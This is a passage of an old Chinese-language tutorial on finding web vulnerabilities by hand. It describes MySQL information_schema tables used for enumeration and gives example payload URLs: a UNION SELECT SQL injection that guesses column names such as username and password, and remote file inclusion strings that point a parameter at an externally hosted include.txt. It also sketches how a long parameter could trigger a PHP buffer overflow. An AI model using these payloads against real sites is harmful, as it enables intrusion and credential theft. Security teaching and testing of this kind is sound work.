    系统架构,最终发现通过information_schema数据库提供给mysql用户的元数据可以得到一些mysql
    数据库的基本信息,例如得到数据库的各个表信息等,还可以得到数据库的权限设置等信息,下面的
    内容属于临时增加的一个章节,我们一起来讨论下information_schema数据库的一些我们用到的表
    的具体字段到底是干什么的:)

    1: KEY_COLUMN_USAGE表

    constraint_schema: 存放数据库名

    table_schema: 存放数据库名

    table_name: 存放数据库表信息

    column_name: 存放数据库的字段信息,一般可以获取第一个字段或者自增字段的信息

    2: SCHEMA表

    schema_name: 存放数据库名

    default_charater_set_name: 存放charset类型

    default_collation_name: 存放charset相关信息

    3: SCHEMA_PRIVILEGES表

    grantee: 存放数据库用户名

    table_schema: 表名

    privilege_type: 权限

    4: STATISTICS表

    table_schema: 存放数据库名

    table_name: 存放表名

    index_schema: 数据库名

    index_name: 是否缩引?

    column_name: 存放索引自增字段?

    5: TABLES表

    table_schema: 存放数据库名

    table_name: 存放表名

    table_type: 表类型 SYSTEM or BASE TABLE

    engin: MEMORY MYISAM InnoDB

    version:

    table_rows:表的行数

    auto_increment: 自增的总行数

    create_time: 创建表的时间

    update_time: 更新表的时间

    create_options: 创建表时的约束条件

    ...

    有了这些以后,如果对方系统管理员忽略了这些,则可以达到我们不需要猜测表名而
    直接获取数据库表名的结果.我在本地测试时一切OK:)

    猜测列名:
    http://website/index1.php?id=1 and 1=1 union select username,2,3,4 from user where 1=2
    按照这个规则依次类推,如果我们猜测到user表存在username字段,则程序执行是正常的,否则程序会
    出错,也可以使用where 1=1来打印表的信息,通过这样的办法就可以获取mysql数据库的某些关键表
    的字段信息,如:admin与password:)

    C: 文件包含漏洞
    文件包含漏洞的测试,有以下几个比较简单且有效的办法.
    1: 新建一个简单的php代码,如:<? phpinfo(); ?>,保存为*.txt格式
    2: 新建一个简单的php代码,如:<? phpinfo(); ?>,保存为无后缀格式

    然后我们测试时只需要采取下面简单的办法即可,这里我们假设我们下面的文件URL为:

    http://bbs.cciss.cn/include.txt

    http://bbs.cciss.cn/include

    漏洞规则:

    http://website/file.php?inc=http://bbs.cciss.cn/include.txt

    http://website/file.php?inc=http://bbs.cciss.cn/include.txt?

    http://website/file.php?inc=http://bbs.cciss.cn/include?

    http://website/file.php?inc=http://bbs.cciss.cn/include

    使用上面的简单规则即可实现文件包含漏洞的测试,当然得根据具体的返回信息来判断.
    例如从XSS漏洞的检测规则可能会发现包含文件漏洞:)

    如果我们知道PHP的某个函数存在缓冲区溢出,我们假设这个PHP的内置函数为phphtml(char *str),
    那么我们如何利用这样的漏洞呢?
    我们假设http://website/file.php?inc=test,这里的参数inc经过PHP代码时使用了phphtml内置
    函数,则可以使用下面的办法来触发漏洞
    http://website/file.php?inc=11111111111....n(n为触发漏洞的最大字符数)
    当然类似这样的漏洞是需要写程序来自动运行的,然后来触发溢出并执行shellcode.
    但这里也存在一个问题,即一般情况下,类似PHP本身的溢出漏洞的利用是有些难度存在的.

    --] 总结
    针对WEB漏洞的挖掘,规则有N多,其中还有很多变种的规则.这里说的基本上是一些可以简单采取
    手工办法测试的规则,更多的规则是依靠经验不断积累所致:)
    本文比较简单,也没有什么技术含量,只是看到xfocus上介绍WEB漏洞的文章较少,所以才想到提交下,
    希望对大家有所帮助.
    write by 7all

    展开全文
  • 《揭秘家用路由器0day漏洞挖掘技术》理论与实践结合,全面、深入地分析了家用路由器的安全漏洞,包括Web应用漏洞、栈溢出漏洞等,并辅以大量案例进行了翔实的分析。《揭秘家用路由器0day漏洞挖掘技术》针对家用...
  • 6.1 普通XSS漏洞自动化挖掘思路 6.1.1 URL上的玄机 6.1.2 HTML中的玄机 2.HTML标签之内 6.1.3 请求中的玄机 6.1.4 关于存储型XSS挖掘 6.2.1 HTML与...

空空如也

空空如也

1 2 3 4 5 ... 8
收藏数 151
精华内容 60
关键字:

web漏洞挖掘技术